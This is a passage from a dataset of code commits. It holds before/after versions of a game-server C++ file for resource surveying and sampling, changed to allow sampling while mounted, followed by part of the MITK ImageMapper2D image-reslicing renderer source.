0);\n\tsuiConcMinigameBox->addMenuItem(\"@survey:gnode_2\", 1);\n\n\tsuiConcMinigameBox->setCancelButton(true, \"Cancel\");\n\n\tsuiConcMinigameBox->setCallback(new SurveyGMinigameSuiCallback(surveyer->getZoneServer()));\n\tsurveyer->getPlayerObject()->addSuiBox(suiConcMinigameBox);\n\tsurveyer->sendMessage(suiConcMinigameBox->generateMessage());\n}\n\nvoid SurveySessionImplementation::surveyGnodeMinigame(int value) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\tif(value == 1) {\n\n\t\tif(surveyer->getHAM(CreatureAttribute::ACTION) < 300) {\n\t\t\tsurveyer->sendSystemMessage(\"@survey:gamble_no_action\");\n\t\t\treturn;\n\t\t}\n\n\t\tsurveyer->inflictDamage(surveyer, CreatureAttribute::ACTION, 300, false, true);\n\t\tdoGamble = true;\n\t}\n\n\trescheduleSample();\n}\n\nvoid SurveySessionImplementation::rescheduleSurvey(SurveyMessage* surveyMessage, WaypointObject* waypoint, float maxDensity, ResourceSpawn* resourceSpawn) {\n\tsurveyTask = new SurveyTask(surveyer, surveyMessage, waypoint, maxDensity * 100, resourceSpawn);\n\tsurveyer.get()->addPendingTask(\"survey\", surveyTask, 3000);\n}\n\nvoid SurveySessionImplementation::rescheduleSample() {\n\t\/\/ Add sampletask\n\tif(sampleTask == NULL)\n\t\tsampleTask = new SampleTask(surveyer.get(), activeSurveyTool.get());\n\n\tif(surveyer.get()->getPendingTask(\"sample\") == NULL)\n\t\tsurveyer.get()->addPendingTask(\"sample\", sampleTask, 25000);\n}\n\nvoid SurveySessionImplementation::rescheduleSampleResults(ResourceSpawner* resourceSpawner, float density, const String& resname) {\n\t\/\/ Add sampleresultstask\n\tif(surveyer.get()->getPendingTask(\"sampleresults\") == NULL) {\n\t\tsampleResultsTask = new SampleResultsTask(surveyer, resourceSpawner, density, resname);\n\t\tsurveyer.get()->addPendingTask(\"sampleresults\", sampleResultsTask, 3000);\n\t}\n}\n\n<commit_msg>[added] player may sample resources while riding creatures<commit_after>\/*\n * SurveySessionImplementation.cpp\n *\n * Created on: May 22, 2012\n * Author: Kyle\n *\/\n\n#include \"server\/zone\/objects\/player\/sessions\/survey\/SurveySession.h\"\n#include \"server\/zone\/Zone.h\"\n#include \"server\/zone\/managers\/player\/PlayerManager.h\"\n#include \"server\/zone\/managers\/resource\/ResourceManager.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/player\/PlayerObject.h\"\n#include \"server\/zone\/objects\/tangible\/tool\/SurveyTool.h\"\n#include \"server\/zone\/packets\/scene\/PlayClientEffectLocMessage.h\"\n#include \"server\/zone\/objects\/creature\/CreatureAttribute.h\"\n#include \"server\/zone\/objects\/player\/sessions\/survey\/sui\/SurveyGMinigameSuiCallback.h\"\n#include \"server\/zone\/objects\/player\/sessions\/survey\/sui\/SurveyCMinigameSuiCallback.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SampleTask.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SurveyTask.h\"\n#include \"server\/zone\/managers\/resource\/resourcespawner\/SampleResultsTask.h\"\n\nint SurveySessionImplementation::initializeSession(SurveyTool* tool) {\n\n\tactiveSurveyTool = tool;\n\tsurveyerGhost = surveyer.get()->getPlayerObject();\n\treturn startSession();\n}\n\nint SurveySessionImplementation::startSession() {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif(surveyer == NULL || activeSurveyTool == NULL || surveyerGhost == NULL) {\n\t\tcancelSession();\n\t\treturn false;\n\t}\n\n\tresourceManager = surveyer->getZoneServer()->getResourceManager();\n\tif(resourceManager == NULL) {\n\t\tcancelSession();\n\t\treturn false;\n\t}\n\n\tsurveyer->addActiveSession(SessionFacadeType::SURVEY, _this.get());\n\n\treturn true;\n}\n\nint SurveySessionImplementation::cancelSession() {\n\tManagedReference<CreatureObject*> ref = surveyer.get();\n\n\tif(ref != NULL)\n\t\tref->dropActiveSession(SessionFacadeType::SURVEY);\n\n\n\treturn clearSession();\n}\n\nint SurveySessionImplementation::clearSession() {\n\n\treturn 0;\n}\n\nvoid SurveySessionImplementation::startSurvey(const String& resname) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\tif (activeSurveyTool == NULL) {\n\t\terror(\"surveyTool is NULL\");\n\t\treturn;\n\t}\n\n\tif (resourceManager == NULL) {\n\t\terror(\"ResourceManager is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer == NULL) {\n\t\terror(\"surveyer is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer->getParent() != NULL && surveyer->getParent().get()->isCellObject()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_in_structure\"); \/\/You cannot perform survey-related actions inside a structure.\n\t\treturn;\n\t}\n\n\tif (surveyer->isSwimming()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_swimming\");\n\t\treturn;\n\t}\n\n\tif (surveyer->isRidingMount()) {\n\t\tif(surveyer->isInWater()) {\n\t\t\tsurveyer->sendSystemMessage(\"@error_message:survey_cant\");\n\t\t\treturn;\n\t\t}\n\t} else {\n\t\tif(surveyer->getPosture() != CreaturePosture::UPRIGHT) {\n\t\t\tsurveyer->sendSystemMessage(\"@error_message:survey_standing\");\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/Get actual cost based upon player's Focus\n\tint mindCost = surveyer->calculateCostAdjustment(CreatureAttribute::FOCUS, 100);\n\n\tif (surveyer->getHAM(CreatureAttribute::MIND) < mindCost) {\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_mind\"); \/\/You are exhausted. You nee to clear your head before you can survey again.\n\t\treturn;\n\t}\n\n\tManagedReference<ResourceSpawn*> spawn = resourceManager->getResourceSpawn(resname);\n\tif(spawn == NULL) {\n\t\treturn;\n\t}\n\n\tif(spawn->getSurveyToolType() != activeSurveyTool->getToolType()) {\n\t\tStringIdChatParameter message(\"@survey:wrong_tool\"); \/\/ %TO resources cannot be located with this tool\n\t\tmessage.setTO(spawn->getFinalClass());\n\t\tsurveyer->sendSystemMessage(message);\n\t\treturn;\n\t}\n\n\tPlayClientEffectLoc* effect = new PlayClientEffectLoc(activeSurveyTool->getSurveyAnimation(),\n\t\t\tsurveyer->getZone()->getZoneName(),\n\t\t\tsurveyer->getPositionX(), surveyer->getPositionZ(),\n\t\t\tsurveyer->getPositionY());\n\n\tsurveyer->broadcastMessage(effect, true);\n\n\tresourceManager->sendSurvey(surveyer, resname);\n}\n\nvoid SurveySessionImplementation::startSample(const String& resname) {\n\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif (activeSurveyTool == NULL) {\n\t\terror(\"surveyTool is NULL\");\n\t\treturn;\n\t}\n\n\tif (resourceManager == NULL) {\n\t\tinfo(\"ResourceManager is NULL\");\n\t\treturn;\n\t}\n\n\tif (surveyer == NULL) {\n\t\tinfo(\"surveyer is NULL\");\n\t\treturn;\n\t}\n\n\tif (!resname.isEmpty())\n\t\t lastResourceSampleName = resname;\n\n\tManagedReference<ResourceSpawn* > resourceSpawn = resourceManager->getResourceSpawn(lastResourceSampleName);\n\tif (resourceSpawn == NULL) {\n\t\treturn;\n\t}\n\n\tif (surveyer->isInCombat()) {\n\t\tsurveyer->sendSystemMessage(\"@survey:sample_cancel_attack\"); \/\/You can't take samples while under attack!\n\t\treturn;\n\t}\n\n\tif (surveyer->getParent() != NULL && surveyer->getParent().get()->isCellObject()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_in_structure\"); \/\/You cannot perform survey-related actions inside a structure.\n\t\treturn;\n\t}\n\n\tif (surveyer->isSwimming()) {\n\t\tsurveyer->sendSystemMessage(\"@error_message:survey_swimming\");\n\t\treturn;\n\t}\n\n\tif (surveyer->getParent() != NULL && surveyer->getParent().get()->isVehicleObject() ) {\n\t\tsurveyer->sendSystemMessage(\"You cannot perform that action while driving a vehicle.\");\n\t\treturn;\n\t}\n\n\t\/\/Get actual cost based upon player's Quickness\n\tint actionCost = surveyer->calculateCostAdjustment(CreatureAttribute::QUICKNESS, 200);\n\n\tif (surveyer->getHAM(CreatureAttribute::ACTION) < actionCost) {\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n\t\tsurveyer->sendSystemMessage(\"@error_message:sample_mind\"); \/\/You are exhausted. You nee to clear your head before you can sample again.\n\t\treturn;\n\t}\n\n\tif(resourceSpawn->getSurveyToolType() != activeSurveyTool->getToolType()) {\n\t\tStringIdChatParameter message(\"@survey:wrong_tool\"); \/\/ %TO resources cannot be located with this tool\n\t\tmessage.setTO(resourceSpawn->getFinalClass());\n\t\tsurveyer->sendSystemMessage(message);\n\t\treturn;\n\t}\n\n\tif(!lastResourceSampleName.isEmpty() && !activeSurveyTool->canSampleRadioactive()) {\n\n\t\tif(resourceSpawn->isType(\"radioactive\") && !activeSurveyTool->canSampleRadioactive()) {\n\t\t\tactiveSurveyTool->sendRadioactiveWarning(surveyer);\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/ Player must be kneeling to sample (if unmounted)\n\tif (!surveyer->isKneeling() && !surveyer->isRidingMount() ) {\n\t\tsurveyer->setPosture(CreaturePosture::CROUCHED, true);\n\t}\n\n\tif(surveyer->getPendingTask(\"sample\") != NULL) {\n\t\treturn;\n\t}\n\n\tStringIdChatParameter message(\"survey\",\"start_sampling\");\n\tmessage.setTO(lastResourceSampleName);\n\tsurveyer->sendSystemMessage(message);\n\n\tif (!doGamble && richSampleLocation == NULL && System::random(50) == 7) {\n\n\t\tif (surveyerGhost->hasSuiBoxWindowType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME)) {\n\t\t\tsurveyerGhost->removeSuiBoxType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME);\n\t\t}\n\n\t\tif (surveyerGhost->hasSuiBoxWindowType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2)) {\n\t\t\tsurveyerGhost->removeSuiBoxType(SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2);\n\t\t}\n\n\t\tif(System::random(1) == 1)\n\t\t\tsurveyCnodeMinigameSui();\n\t\telse\n\t\t\tsurveyGnodeMinigameSui();\n\n\t} else {\n\n\t\tif (!lastResourceSampleName.isEmpty())\n\t\t\tresourceManager->sendSample(surveyer, lastResourceSampleName,\n\t\t\t\t\tactiveSurveyTool->getSampleAnimation());\n\t}\n}\n\nvoid SurveySessionImplementation::surveyCnodeMinigameSui() {\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\t\/\/int surveyMod = surveyer->getSkillMod(\"surveying\");\n\n\tManagedReference<SuiListBox*> suiConcMinigameBox = new SuiListBox(\n\t\t\tsurveyer, SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME, 0);\n\n\tsuiConcMinigameBox->setPromptTitle(\"@survey:cnode_t\");\n\tsuiConcMinigameBox->setPromptText(\"@survey:cnode_d\");\n\n\tsuiConcMinigameBox->addMenuItem(\"@survey:cnode_1\", 0);\n\tsuiConcMinigameBox->addMenuItem(\"@survey:cnode_2\", 1);\n\n\tsuiConcMinigameBox->setCancelButton(true, \"Cancel\");\n\n\tsuiConcMinigameBox->setCallback(new SurveyCMinigameSuiCallback(surveyer->getZoneServer()));\n\tsurveyer->getPlayerObject()->addSuiBox(suiConcMinigameBox);\n\tsurveyer->sendMessage(suiConcMinigameBox->generateMessage());\n}\n\nvoid SurveySessionImplementation::surveyCnodeMinigame(int value) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<ResourceManager*> resourceManager = this->resourceManager.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\tManagedReference<PlayerObject*> surveyerGhost = this->surveyerGhost.get();\n\n\tif(value == 0) {\n\t\t\/\/ Add sampletask\n\t\trescheduleSample();\n\n\t\treturn;\n\t}\n\n\trichSampleLocation = new Coordinate(surveyer->getPositionX(), surveyer->getPositionZ(), surveyer->getPositionY());\n\trichSampleLocation->randomizePosition(50);\n\n\tManagedReference<WaypointObject*> newwaypoint = NULL;\n\n\tPlayerObject* ghost = surveyer->getPlayerObject();\n\n\t\/\/ Get previous survey waypoint\n\tManagedReference<WaypointObject*> waypoint = ghost->getSurveyWaypoint();\n\n\t\/\/ Create new waypoint\n\tif (waypoint == NULL)\n\t\tnewwaypoint = ( surveyer->getZoneServer()->createObject(0xc456e788, 1)).castTo<WaypointObject*>();\n\telse {\n\t\tghost->removeWaypoint(waypoint->getObjectID(), true);\n\t\tnewwaypoint = waypoint.get();\n\t}\n\n\t\/\/ Update new waypoint\n\tnewwaypoint->setCustomObjectName(UnicodeString(\"Resource Survey\"), false);\n\tnewwaypoint->setPlanetCRC(surveyer->getZone()->getZoneCRC());\n\tnewwaypoint->setPosition(richSampleLocation->getPositionX(), 0, richSampleLocation->getPositionY());\n\tnewwaypoint->setColor(WaypointObject::COLOR_BLUE);\n\tnewwaypoint->setSpecialTypeID(WaypointObject::SPECIALTYPE_RESOURCE);\n\tnewwaypoint->setActive(true);\n\n\tghost->addWaypoint(newwaypoint, false, true); \/\/ Should second argument be true, and waypoints with the same name thus remove their old version?\n\tsurveyer->sendSystemMessage(\"@survey:node_waypoint\");\n\n\t\/\/ Player must be kneeling to sample\n\tif (!surveyer->isStanding() && !surveyer->isRidingMount() )\n\t\tsurveyer->setPosture(CreaturePosture::UPRIGHT, true);\n}\n\nvoid SurveySessionImplementation::surveyGnodeMinigameSui() {\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\t\/\/int surveyMod = surveyer->getSkillMod(\"surveying\");\n\n\tManagedReference<SuiListBox*> suiConcMinigameBox = new SuiListBox(surveyer, SuiWindowType::SURVEY_TOOL_CONCENTRATED_MINIGAME2, 0);\n\n\tsuiConcMinigameBox->setPromptTitle(\"@survey:gnode_t\");\n\tsuiConcMinigameBox->setPromptText(\"@survey:gnode_d\");\n\n\tsuiConcMinigameBox->addMenuItem(\"@survey:gnode_1\", 0);\n\tsuiConcMinigameBox->addMenuItem(\"@survey:gnode_2\", 1);\n\n\tsuiConcMinigameBox->setCancelButton(true, \"Cancel\");\n\n\tsuiConcMinigameBox->setCallback(new SurveyGMinigameSuiCallback(surveyer->getZoneServer()));\n\tsurveyer->getPlayerObject()->addSuiBox(suiConcMinigameBox);\n\tsurveyer->sendMessage(suiConcMinigameBox->generateMessage());\n}\n\nvoid SurveySessionImplementation::surveyGnodeMinigame(int value) {\n\tManagedReference<SurveyTool*> activeSurveyTool = this->activeSurveyTool.get();\n\tManagedReference<CreatureObject*> surveyer = this->surveyer.get();\n\n\tif(value == 1) {\n\n\t\tif(surveyer->getHAM(CreatureAttribute::ACTION) < 300) {\n\t\t\tsurveyer->sendSystemMessage(\"@survey:gamble_no_action\");\n\t\t\treturn;\n\t\t}\n\n\t\tsurveyer->inflictDamage(surveyer, CreatureAttribute::ACTION, 300, false, true);\n\t\tdoGamble = true;\n\t}\n\n\trescheduleSample();\n}\n\nvoid SurveySessionImplementation::rescheduleSurvey(SurveyMessage* surveyMessage, WaypointObject* waypoint, float maxDensity, ResourceSpawn* resourceSpawn) {\n\tsurveyTask = new SurveyTask(surveyer, surveyMessage, waypoint, maxDensity * 100, resourceSpawn);\n\tsurveyer.get()->addPendingTask(\"survey\", surveyTask, 3000);\n}\n\nvoid SurveySessionImplementation::rescheduleSample() {\n\t\/\/ Add sampletask\n\tif(sampleTask == NULL)\n\t\tsampleTask = new SampleTask(surveyer.get(), activeSurveyTool.get());\n\n\tif(surveyer.get()->getPendingTask(\"sample\") == NULL)\n\t\tsurveyer.get()->addPendingTask(\"sample\", sampleTask, 25000);\n}\n\nvoid SurveySessionImplementation::rescheduleSampleResults(ResourceSpawner* resourceSpawner, float density, const String& resname) {\n\t\/\/ Add sampleresultstask\n\tif(surveyer.get()->getPendingTask(\"sampleresults\") == NULL) {\n\t\tsampleResultsTask = new SampleResultsTask(surveyer, resourceSpawner, density, resname);\n\t\tsurveyer.get()->addPendingTask(\"sampleresults\", sampleResultsTask, 3000);\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"mitkImageMapper2D.h\"\n\/\/#include \"mitkRenderWindow.h\"\n#include \"widget.h\"\n#include \"picimage.h\"\n#include \"pic2vtk.h\"\n#include \"mitkPlaneGeometry.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkDataTreeNode.h\"\n\n#include \"mitkLookupTableProperty.h\"\n#include \"mitkBoolProperty.h\"\n#include \"mitkLevelWindowProperty.h\"\n\n#include \"mitkRenderWindow.h\"\n#include \"mitkAbstractTransformGeometry.h\"\n\n#include <vtkImageReslice.h>\n#include <vtkTransform.h>\n#include <vtkMatrix4x4.h>\n#include <vtkLookupTable.h>\n\nint mitk::ImageMapper2D::numRenderer = 0;\n\nmitk::ImageMapper2D::ImageMapper2D() : m_SliceSelector(NULL)\n{\n \/\/ Modify superclass default values, can be overridden by subclasses\n this->SetNumberOfRequiredInputs(1);\n\n m_SliceSelector = ImageSliceSelector::New();\n m_Reslicer = vtkImageReslice::New();\n\n}\n\n\/\/##ModelId=3E32DCF60043\nmitk::ImageMapper2D::~ImageMapper2D()\n{\n \/\/@FIXME: durch die folgende Zeile sollte doch wohl der desctructor von RendererInfo aufgerufen werden. Das passiert aber nie. Deshalb wird bei der Programm-Beendung auch das iilImage und damit die textur nicht rechtzeitig freigegeben und das Programm crashed.\n m_RendererInfo.clear();\n}\n\n\/\/##ModelId=3E3D834B003A\nvoid mitk::ImageMapper2D::GenerateData()\n{\n\n}\n\nvoid mitk::ImageMapper2D::Paint(mitk::BaseRenderer * renderer)\n{\n if(IsVisible(renderer)==false) return;\n\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n iilPicImage*& image = renderinfo.m_iilImage;\n\n Update(renderer);\n\n const mitk::DisplayGeometry* displayGeometry = renderer->GetDisplayGeometry();\n\n Vector2D oldtopLeft=displayGeometry->GetOriginInUnits();\n Vector2D oldbottomRight=displayGeometry->GetOriginInUnits()+displayGeometry->GetSizeInUnits();\n\n Vector2D topLeft;\n Vector2D bottomRight;\n topLeft=displayGeometry->GetOriginInDisplayUnits();\n bottomRight=topLeft+displayGeometry->GetSizeInDisplayUnits();\n\n displayGeometry->DisplayToMM(topLeft, topLeft); topLeft.x*=renderinfo.m_PixelsPerMM.x; topLeft.y*=renderinfo.m_PixelsPerMM.y;\n displayGeometry->DisplayToMM(bottomRight, bottomRight); bottomRight.x*=renderinfo.m_PixelsPerMM.x; bottomRight.y*=renderinfo.m_PixelsPerMM.y;\n\n \/\/test - small differences noticed for unisotropic datasets.\n if((Vector2D(oldtopLeft-topLeft).length()>0.1) || (Vector2D(oldbottomRight-bottomRight).length()>0.1))\n {\n bottomRight*=1.0;\n }\n\n glMatrixMode (GL_PROJECTION);\n glLoadIdentity ();\n gluOrtho2D(topLeft.x, bottomRight.x, topLeft.y, bottomRight.y );\n glMatrixMode( GL_MODELVIEW );\n\n GLdouble eqn0[4] = {0.0, 1.0, 0.0, 0.0};\n GLdouble eqn1[4] = {1.0, 0.0, 0.0, 0.0};\n GLdouble eqn2[4] = {-1.0, 0.0 , 0.0, image->width()};\n GLdouble eqn3[4] = {0, -1.0, 0.0, image->height() };\n\n glClipPlane (GL_CLIP_PLANE0, eqn0);\n glEnable (GL_CLIP_PLANE0);\n glClipPlane (GL_CLIP_PLANE1, eqn1);\n glEnable (GL_CLIP_PLANE1);\n glClipPlane (GL_CLIP_PLANE2, eqn2);\n glEnable (GL_CLIP_PLANE2);\n glClipPlane (GL_CLIP_PLANE3, eqn3);\n glEnable (GL_CLIP_PLANE3);\n\n image->display(renderer->GetRenderWindow());\n\n glDisable (GL_CLIP_PLANE0);\n glDisable (GL_CLIP_PLANE1);\n glDisable (GL_CLIP_PLANE2);\n glDisable (GL_CLIP_PLANE3);\n\n glPushMatrix ();\n glMatrixMode (GL_PROJECTION);\n glLoadIdentity ();\n gluOrtho2D(0, displayGeometry->GetDisplayWidth(), 0, displayGeometry->GetDisplayHeight() );\n glMatrixMode( GL_MODELVIEW );\n glPopMatrix ();\n}\n\n\/\/##ModelId=3E3D834B0008\nconst mitk::ImageMapper2D::InputImageType *mitk::ImageMapper2D::GetInput(void)\n{\n if (this->GetNumberOfInputs() < 1)\n {\n return 0;\n }\n\n return static_cast<const mitk::ImageMapper2D::InputImageType * >\n ( GetData() );\n}\n\n\/\/##ModelId=3E6E83B00343\nint mitk::ImageMapper2D::GetAssociatedChannelNr(mitk::BaseRenderer *renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n if(renderinfo.m_RendererId < 0)\n renderinfo.m_RendererId = ImageMapper2D::numRenderer++;\n\n return renderinfo.m_RendererId;\n}\n\n\/\/##ModelId=3E8607D20380\nvoid mitk::ImageMapper2D::GenerateOutputInformation()\n{\n mitk::Image::Pointer output = this->GetOutput();\n mitk::PixelType pt(typeid(int));\n unsigned int dim[]={256,256};\n output->Initialize(mitk::PixelType(typeid(short int)), 2, dim, 10);\n}\n\n\/\/##ModelId=3ED932B00140\nvoid mitk::ImageMapper2D::GenerateData(mitk::BaseRenderer *renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n\n iilPicImage*& image = renderinfo.m_iilImage;\n\n mitk::Image::Pointer input = const_cast<mitk::ImageMapper2D::InputImageType *>(this->GetInput());\n\n if(image!= NULL)\n {\n delete image;\n image = NULL;\n }\n\n if(renderinfo.m_Pic)\n {\n ipPicFree(renderinfo.m_Pic);\n renderinfo.m_Pic = NULL;\n }\n\n if(renderinfo.m_RendererId < 0)\n renderinfo.m_RendererId = ImageMapper2D::numRenderer++;\n\n if(input.IsNotNull())\n {\n vtkImageData* inputData = input->GetVtkImageData();\n const PlaneView* planeview=NULL;\n\n const Geometry2D* worldgeometry = renderer->GetWorldGeometry();\n\n if(dynamic_cast<const PlaneGeometry *>(worldgeometry)!=NULL)\n {\n planeview=&dynamic_cast<const PlaneGeometry *>(worldgeometry)->GetPlaneView();\n m_Reslicer->SetResliceTransform(NULL);\n }\n else\n if(dynamic_cast<const AbstractTransformGeometry *>(worldgeometry)!=NULL)\n {\n const AbstractTransformGeometry *abstractGeometry=dynamic_cast<const AbstractTransformGeometry *>(worldgeometry);\n planeview=&abstractGeometry->GetPlaneView();\n m_Reslicer->SetResliceTransform(abstractGeometry->GetVtkAbstractTransform());\n \/\/m_Reslicer->DebugOn();\n }\n else\n return;\n\n assert(planeview!=NULL);\n assert(planeview->normal.length()>0.1);\n\n vtkMatrix4x4* geometry = vtkMatrix4x4::New();\n geometry->Identity();\n\n m_Reslicer->SetInput(inputData);\n m_Reslicer->SetOutputDimensionality(2);\n m_Reslicer->SetOutputOrigin(0,0,0);\n\n m_Reslicer->SetBackgroundLevel(-1024);\n\n int width, height;\n width=worldgeometry->GetWidthInUnits();\n height=worldgeometry->GetHeightInUnits();\n renderinfo.m_PixelsPerMM.set(planeview->getLengthOfOrientation1()\/width, planeview->getLengthOfOrientation2()\/height);\n\n m_Reslicer->SetOutputSpacing(renderinfo.m_PixelsPerMM.x, renderinfo.m_PixelsPerMM.y, 1.0);\n m_Reslicer->SetOutputExtent(0, width-1, 0, height-1, 0, 1);\n\n double origin[3];\n origin[0]=planeview->point.x;\n origin[1]=planeview->point.y;\n origin[2]=planeview->point.z;\n\n m_Reslicer->SetResliceAxes(geometry);\n m_Reslicer->SetResliceAxesOrigin(origin);\n \/\/ m_Reslicer->SetInterpolationModeToLinear();\n double cosines[9];\n Vector3f orient1 = planeview->getOrientation1();\n orient1.normalize();\n\n Vector3f orient2 = planeview->getOrientation2();\n orient2.normalize();\n\n \/\/ Richtung der X-Achse der Ergebnisschicht im Volumen,\n cosines[0]=orient1.x;\n cosines[1]=orient1.y;\n cosines[2]=orient1.z;\n\n \/\/Richtung der Y-Achse der Ergebnisschicht im Volumen\n cosines[3]=orient2.x;\n cosines[4]=orient2.y;\n cosines[5]=orient2.z;\n\n \/\/ Schichtfolge\/Projektionsrichtung\n cosines[6]= planeview->normal.x;\n cosines[7]= planeview->normal.y;\n cosines[8]= planeview->normal.z;\n m_Reslicer->SetResliceAxesDirectionCosines(cosines);\n\n m_Reslicer->Update();\n\n vtkImageData* vtkoutput = m_Reslicer->GetOutput();\n\n assert(vtkoutput);\n\n \/\/\tstd::cout << vtkoutput <<std::endl;\n ipPicDescriptor* pic = Pic2vtk::convert(vtkoutput);\n assert(pic);\n if(pic->dim==1)\n {\n pic->dim=2;\n pic->n[1]=1;\n }\n assert(pic->dim == 2);\n\n renderinfo.m_Pic = pic;\n\n \/\/std::cout << \"Pic dimensions:\" << pic->dim << std::endl;\n\n image = new iilPicImage(NULL, \"ll\", 512);\n\n ApplyProperties(renderer);\n\/\/ image->setImage(pic, iilImage::INTENSITY_ALPHA);\n\t image->setImage(pic, m_iilMode);\n image->setInterpolation(true);\n image->setRegion(0,0,pic->n[0],pic->n[1]);\n\n\n\n mitk::Image::Pointer output = this->GetOutput();\n\n \/\/if(renderinfo.m_RendererId < 10)\n \/\/\toutput->SetPicSlice(pic,0,0,renderinfo.m_RendererId);\n output->Modified();\n renderinfo.m_LastUpdateTime=output->GetMTime();\n }\n return;\n}\n\nvoid mitk::ImageMapper2D::GenerateAllData()\n{\n std::map<mitk::BaseRenderer*,RendererInfo>::iterator it=m_RendererInfo.begin();\n for(;it!=m_RendererInfo.end();++it)\n Update(it->first);\n}\n\nvoid mitk::ImageMapper2D::ApplyProperties(mitk::BaseRenderer* renderer)\n{\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n iilPicImage*& image = renderinfo.m_iilImage;\n\n assert(image != NULL);\n\n float rgba[4]={1.0f,1.0f,1.0f,1.0f};\n \/\/ check for color prop and use it for rendering if it exists\n GetColor(rgba, renderer);\n \/\/ check for opacity prop and use it for rendering if it exists\n GetOpacity(rgba[3], renderer);\n\n mitk::LevelWindow levelWindow;\n \/\/ check for level window prop and use it for display if it exists\n GetLevelWindow(levelWindow, renderer);\n\n\n mitk::LookupTableProperty::Pointer LookupTable;\n LookupTable = dynamic_cast<mitk::LookupTableProperty*>(this->GetDataTreeNode()->GetProperty(\"LookupTable\").GetPointer());\n\tif (LookupTable.IsNull() )\n\t{\n\t\tm_iilMode = iilImage::INTENSITY_ALPHA;\n\t image->setColor(rgba[0], rgba[1], rgba[2], rgba[3]);\n\t}\n\telse {\n\t\tm_iilMode = iilImage::COLOR_ALPHA;\n\t\timage->setColors(LookupTable->GetLookupTable().GetRawLookupTable());\n\t}\n\n mitk::BoolProperty::Pointer binary;\n binary = dynamic_cast<mitk::BoolProperty*>(this->GetDataTreeNode()->GetProperty(\"binary\").GetPointer());\n\n mitk::LevelWindowProperty::Pointer overwriteLevelWindow;\n overwriteLevelWindow = dynamic_cast<mitk::LevelWindowProperty*>(this->GetDataTreeNode()->GetProperty(\"levelWindow\").GetPointer());\n\n if (binary.IsNotNull() )\n {\n image->setExtrema(0, 1);\n }\n else if (overwriteLevelWindow.IsNotNull() )\n {\n image->setExtrema(overwriteLevelWindow->GetLevelWindow().GetMin(), overwriteLevelWindow->GetLevelWindow().GetMax());\n }\n else\n {\n \/\/ set the properties\n image->setExtrema(levelWindow.GetMin(), levelWindow.GetMax());\n }\n\/\/ image->setColor(rgba[0], rgba[1], rgba[2], rgba[3]);\n}\n\nvoid mitk::ImageMapper2D::Update(mitk::BaseRenderer* renderer)\n{\n\n RendererInfo& renderinfo=m_RendererInfo[renderer];\n DataTreeNode* node=GetDataTreeNode();\n iilPicImage*& image = renderinfo.m_iilImage;\n\n if(\n (image == NULL) ||\n (renderinfo.m_RendererId < 0) ||\n (renderinfo.m_LastUpdateTime < node->GetMTime()) ||\n (renderinfo.m_LastUpdateTime < renderer->GetWorldGeometryUpdateTime()) ||\n (renderinfo.m_LastUpdateTime < renderer->GetDisplayGeometryUpdateTime())\n )\n GenerateData(renderer);\n else\n if(\n (renderinfo.m_LastUpdateTime < renderer->GetWorldGeometry()->GetMTime())\n \/\/&&\n \/\/(renderinfo.m_LastUpdateTime < renderer->GetMTime())\n )\n GenerateData(renderer);\n else\n if(\n (renderinfo.m_LastUpdateTime < node->GetPropertyList()->GetMTime()) ||\n (renderinfo.m_LastUpdateTime < node->GetPropertyList(renderer)->GetMTime())\n )\n {\n ApplyProperties(renderer);\n \/\/ since we have checked that nothing important has changed, we can set m_LastUpdateTime\n \/\/ to the current time\n mitk::Image::Pointer output = this->GetOutput();\n output->Modified();\n renderinfo.m_LastUpdateTime=output->GetMTime();\n }\n}\n<commit_msg>fixed bug concerning correct positioning of non-isotropic\/non-1pixel==1mm-data.<commit_after>#include \"mitkImageMapper2D.h\"\n\/\/#include \"mitkRenderWindow.h\"\n#include \"widget.h\"\n#include \"picimage.h\"\n#include \"pic2vtk.h\"\n#include \"mitkPlaneGeometry.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkDataTreeNode.h\"\n\n#include 